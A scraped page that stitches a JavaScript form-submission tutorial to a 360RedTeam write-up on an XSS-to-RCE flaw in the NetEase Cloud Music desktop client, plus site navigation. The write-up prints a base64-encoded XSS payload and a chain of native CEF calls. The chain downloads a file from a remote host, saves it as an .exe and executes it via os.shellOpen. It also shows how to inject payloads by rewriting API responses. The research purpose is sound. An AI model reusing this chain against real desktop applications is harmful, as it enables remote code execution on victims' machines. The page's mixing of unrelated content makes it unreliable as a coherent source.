	獲取表單.submit();

（2）使用submit按鈕 + onclick="return 函數()" +函數編寫代碼:

? 最后必須返回：return true|false;

（3）使用submit按鈕/圖片提交按鈕 + 表單onsubmit="return 函數();" +函數編寫代碼:

? 最后必須返回：return true|false;

<form id='myform1' name="myform2" action="#" method="get" onsubmit="return onsub();">	
	<input  name="test"  id="uname"/><span id="msg"></span><br />
	<!--通過js事件：sub()提交表單-->
	<input type="button" onclick="sub();" value="提交表單1" />
	<input type="submit" onclick="return sub2();" value="提交表單2" />
	<input type="submit" value="提交onsubmit" /><br />
	<input type="image" src="img/u=71331624,2965806045&fm=23&gp=0.jpg" 
                  width="60px" height="40px" />
</form>
<script type="text/javascript">		
	// input的type=button，調用submit()方法提交
	function sub(){
		document.myform2.submit();
	}
	// 進行校驗，返回值為true才能提交
	function sub2(){
		var uname=document.getElementById("uname");
		var val=uname.value;
		if(val.length>0){
			return true; // 提交
		}
		document.getElementById("msg").innerHTML="不能空著啊！！！";
		document.getElementById("msg").style.color="red";
		return false;  // 不提交
	}
	// onsubmit事件提交
	function onsub () {
		var uname=document.getElementById("uname");
		var val=uname.value;
		if(val.length>0){
			return true; // 提交
		}
		document.getElementById("msg").innerHTML="填寫點兒東西唄！(ˉ▽￣～) 切~~";
		document.getElementById("msg").style.color="red";
		return false; // 不提交
	}
</script>

表單校驗

Author: Wfox@360RedTeam

0x00 前言

前面章節講解了應用程序是如何與網頁進行交互的，接下來章節分析通用軟件歷史漏洞，通過真實漏洞案例分析去了解嵌入式瀏覽器安全的攻擊面。本章節講的是網易云音樂rce漏洞分析，一個經典的XSS to RCE漏洞。

往期文章回顧： 1. 《嵌入式瀏覽器安全之初識Cef》

0x01 Cef資源文件加載

cef瀏覽器中加載web網頁訪問通常分為兩種，分別是遠程資源加載、本地資源加載。

遠程資源加載，通過http、https等協議加載網頁，通常在軟件里作為擴展功能，可延展性強，缺點是頁面加載速度受網絡環境影響。本地資源加載，通過file協議實現加載web頁面，也是cef桌面應用的主要實現方式。本地加載uri實現方式分為三種：

絕對文件路徑加載 file:///c:/application/index.html
偽host加載 file://application/index.html
偽協議&偽host加載 custom://application/index.html

第2、3種方式是通過cef資源重定向實現的，在使用cef加載本地web資源時，html或者js文件很可能會暴露一些接口或者重要數據，為了代碼保護需要把web資源進行加密，常見方式是通過zip進行密碼加密。解密也比較簡單，逆向主程序文件找到解壓密碼或者zip明文攻擊就能解壓加密的資源文件。

具體的實現原理這里不再復述，感興趣的可以閱讀這篇文章 https://blog.csdn.net/csdnyonghu123/article/details/92808278

漏洞挖掘的第一步，先打開網易云音樂的目錄，可以看到明顯的Cef目錄架構，比如說子目錄、依賴庫特征等。

在package目錄中，找到了網易云音樂的資源文件包orpheus.ntpk，以zip格式解壓得到網易云音樂html資源文件。

解壓之后目錄結構如下，包含了html、js、css文件等，正是這些構成了網易云音樂的整個前端界面。

當網易云音樂主程序打開時就會加載鏈接 orpheus://orpheus/pub/app.html，經過cef資源重定向處理后，加載orpheus.ntpk壓縮包的/pub/app.html，也就是我們最為熟悉的主界面。

通過進程查看軟件Process Hacker查看cloudmusic.exe進程，可以看到cloudmusic.exe主進程下面起了兩個子進程。

這兩個進程分別是render進程與GPU加速進程，GPU加速進程用于加速頁面渲染，在網易云音樂的設置里可以禁用GPU加速。

// cef render進程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=renderer --high-dpi-support=1 --lang=en-US --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --context-safety-implementation=-1 --uncaught-exception-stack-size=1048576 --no-sandbox --enable-pinch --enable-threaded-compositing --enable-delegated-renderer --enable-software-compositing --channel="5180.1.1167745776\650049420" /prefetch:673131151
?
// cef gpu加速渲染進程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=gpu-process --channel="5180.0.520330526\2071578727" --high-dpi-support=1 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox --supports-dual-gpus=false --gpu-driver-bug-workarounds=1,15 --gpu-vendor-id=0x15ad --gpu-device-id=0x0405 --gpu-driver-vendor="VMware, Inc." --gpu-driver-version=8.16.1.24 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox /prefetch:822062411

在漏洞挖掘過程中可以關注下cef進程的啟動參數，指不定有些好玩的啟動參數，后邊章節再講這方面。

0x02 尋找突破點

在拿到源碼文件之后，能做的事情很多，感興趣的可以自行從html、js里邊發掘。這次的目的是為了給客戶端彈個計算器，所以首先要達到一個目標，執行任意JavaScript，先從一個xss漏洞開始。

接下來就是常規的Web前端漏洞挖掘思路，在發掘過程中可以將html、js進行格式化，方便閱讀代碼。

原漏洞作者的思路是從html模板文件找到未過濾的模板變量，從而控制輸出點達到xss。但在實際挖掘中，大部分html輸出點都是不可控的，原作者找到的xss觸發點在電臺頁面/pub/module/main/djradio/show/index.html的電臺名稱字段。

漏洞點修復前是${x.name}，修復之后加上了escape進行編碼過濾。

我們需要添加一個名稱帶有xss payload的電臺，受害者通過搜索電臺名稱，在訪問電臺頁時即可觸發xss。

原漏洞作者提到了通過外置瀏覽器跳轉到偽協議鏈接orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest，從而喚起網易云音樂，但經過實際分析測試，只能喚起應用但不能跳到對應搜索頁面。

那外置瀏覽器是如何調用網易云音樂偽協議，通過注冊表可以查看windows系統中注冊的所有偽協議，比如網易云音樂orpheus協議在注冊表的地址為 HKEY_CLASSES_ROOT\orpheus\shell\open\command，鍵值為 “D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”%1″，%1作為變量對應的是完整的偽協議url，最終創建進程 D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest”

目前電臺頁面處無法復現漏洞，所以搬了原作者的xss效果圖。

0x03 進階攻擊

小目標達到了，接下來就是如何將xss漏洞的危害擴大，這里就要用到第一節講到的知識點，應用程序會在render進程上下文中注冊許多JavaScript擴展函數，用于應用程序與網頁進行交互。

舉個例子，緩存歌曲、緩存突破、下載歌曲、下載歌詞文件這些功能都需要涉及文件操作，但網頁由于安全策略限制是無法直接保存文件的，所以需要通過JavaScript調用native function來實現文件操作。

當然應用程序注冊的JavaScript擴展函數不止這些，接下來進階攻擊就是尋找脆弱的JS擴展函數進行復用，以達到竊取數據、劫持登錄憑證、讀取任意文件、甚至控制對方計算機權限的目的。

現在復測沒有xss漏洞可以用，那我們就假裝有一個xss，通過攔截網易云音樂的請求修改響應，插入我們的JavaScript代碼。此時祭出大殺器BurpSuite，通過網易云音樂自帶的HTTP代理功能設置成127.0.0.1:8080

代理設置成功后，BurpSuite就能抓到網易云音樂的請求。這里用漏洞版本2.1.2.180086作為演示，前面提到過網易云音樂有很多html輸出點都沒過濾的，但是內容是不可控的。在舊版本網易云音樂中，可以通過BurpSuite攔截修改api請求的明文響應包插入xss payload，觸發XSS。（新版本中api請求響應都加密了）

比如說在搜索歌詞時，響應部分的lyrics字段會作為html內容插入到頁面中，可以替換這部分的響應內容插入xss內容。

添加自動替換響應包規則，省得每次都要攔截修改響應。

隨便搜一個查詢條數少的關鍵詞，切到歌詞的搜索結果，加載替換響應內容后成功觸發XSS。

通常cef程序很少會留有可以直接系統命令的擴展函數，所以常見的rce思路是下載可執行文件+運行文件以達到rce的效果。接下來就是通讀代碼，尋找任意保存文件的擴展函數。

網易云音樂的主要功能邏輯在core.js文件，第一步先將混淆的JavaScript代碼美化，提高代碼可讀性，在代碼量居多的情況下可以搜索相關關鍵詞以定位函數，如save、保存、download、下載等，通過關鍵詞定位找到一處可疑的功能代碼。

根據代碼上下文邏輯，構造出文件下載保存的JavaScript代碼。

var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://www.baidu.com/img/bd_logo1.png", rel_path: "C:/users/public/1.png", pre_path: "", type: 1 });

JavaScript代碼太長在xss里格式不好處理，所以將xss代碼base64執行。

<img src=x onerror=eval(atob('dmFyIGJ5eiA9IE5FSi5QOwpiRCA9IGJ5eigibmVqLmNlZiIpOwpiRC5jRkIoImRvd25sb2FkLnN0YXJ0IiwgeyBpZDogImltYWdlX2Rvd25sb2FkIiwgdXJsOiAiaHR0cHM6Ly93d3cuYmFpZHUuY29tL2ltZy9iZF9sb2dvMS5wbmciLCByZWxfcGF0aDogIkM6L3VzZXJzL3B1YmxpYy8xLnBuZyIsIHByZV9wYXRoOiAiIiwgdHlwZTogMSB9KTs='))>

插入XSS代碼觸發，可以將任意遠程文件保存到本地任意位置。poc觸發成功后將百度logo圖片保存到c:/users/public/1.png

當然在實際場景中可能會遇到長度限制，這里只是把payload寫在一起作為演示，正常利用建議還是引用遠程JS文件。

exe文件已經落地到文件系統中了，接下來就是如何觸發下載后的exe文件。通讀代碼可以發現，網易云音樂基本是通過bD.cFB、bD.bX調用native函數，可以圍繞著這些函數調用進行發掘，然后復用函數方法。

通過技巧找到了打開exe文件的方法，這個函數原意應該是用來打開文件夾的，文件/pub/module/main/offline/complete/index.html

根據代碼上下文邏輯，構造出打開指定exe文件的JavaScript代碼。

var byz=NEJ.P;
bD=byz("nej.cef");
bD.bX("os.shellOpen", "c:/windows/system32/calc.exe");

文件下載、打開exe文件都具備了，接下來構造完整漏洞利用代碼。

var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://xxx.com/calc.jpg", rel_path: "c:/users/public/1.exe", pre_path: "", type: 1 });
setTimeout(function(){bD.bX("os.shellOpen", "c:/users/public/1.exe")}, 5000);

完整利用流程：插入xss payload -> 誘導別人觸發xss -> 下載保存exe文件 -> 打開執行exe文件

在網易云音樂最新版本中不僅修復了xss漏洞、增加CSP安全策略，還修復了文件下載、打開文件等涉及文件操作的許多函數，使攻擊成本加大，熟悉逆向的可以分析下判斷邏輯是否能夠繞過。

0x04 結語

本章節涉及了cef資源加載、目錄結構分析、進程啟動分析、scheme協議注冊、XSS漏洞挖掘、native交互漏洞挖掘等知識點，完成一個XSS to RCE漏洞的挖掘才能算是真正的入門。當Web安全人員去真正發掘這方面漏洞時，會發現嵌入式瀏覽器漏洞挖掘也沒那么難以觸及，主要是通讀代碼跟復現代碼邏輯會比較耗時間，感興趣的朋友可以嘗試下挖掘通用點的桌面應用~

0x05 參考

漏洞原作者：evi1m0 https://www.chinabaiker.com/thread-2897-1-1.html https://blog.csdn.net/csdnyonghu123/article/details/92808278

在線咨詢

上一篇：干貨！200節網站開發教程，內附課程素材，html+
下一篇：如何顯示密碼安全強度-

您的項目需求

*請認真填寫需求信息，我們會在24小時內與您取得聯系。

整合營銷服務商

事件的捕獲和冒泡

要內容

事件

作用

事件中的幾個名詞

事件類型

事件流和事件模型

事件冒泡

事件捕獲

DOM 事件流

事件處理程序

HTML 事件處理程序

DOM0 級事件處理程序

DOM2 級事件處理程序

本節作業

BOM對象

Window對象方法

系統對話框

打開窗口

關閉窗口

時間函數

setTimeout()

setInteval()

history對象

location對象

本節作業

DOM對象

節點

操作元素的節點

獲取節點

創建節點和插入節點

創建節點

插入節點

間接查找節點

刪除節點

表單

獲取表單

獲取表單元素

獲取input元素

獲取單選按鈕

獲取多選按鈕

獲取下拉選項

提交表單

表單校驗

0x00 前言

0x01 Cef資源文件加載

0x02 尋找突破點

0x03 進階攻擊

0x04 結語

0x05 參考

您的項目需求